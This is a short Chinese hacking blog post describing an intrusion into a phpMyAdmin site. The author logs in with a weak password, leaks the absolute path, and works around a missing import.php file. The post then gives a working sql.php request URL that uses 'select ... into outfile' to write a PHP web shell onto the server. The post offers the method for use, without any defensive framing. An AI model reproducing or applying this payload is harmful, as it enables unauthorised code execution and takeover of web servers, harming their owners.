PHPMYADMIN另类拿shell

搞站发现了个PHPMYADMIN 结果弱口令登陆进去 爆出绝对路径 然后执行SQL语句发现到处SHELL的时候却发现缺少了import.php这个文件 结果没办法执行MYSQL语句！ 然后本地测试了下 发现另外的方法

现在公布方法

phpMyAdmin/sql.php?db=test&table=a&printview=1&sql_query=select%20cmd%20from+a%20into%20outfile%20'E:\\test1.php';&display_text=F&token=dc49fb24f86a6dc2b996b5d4211cccb4

标签分类：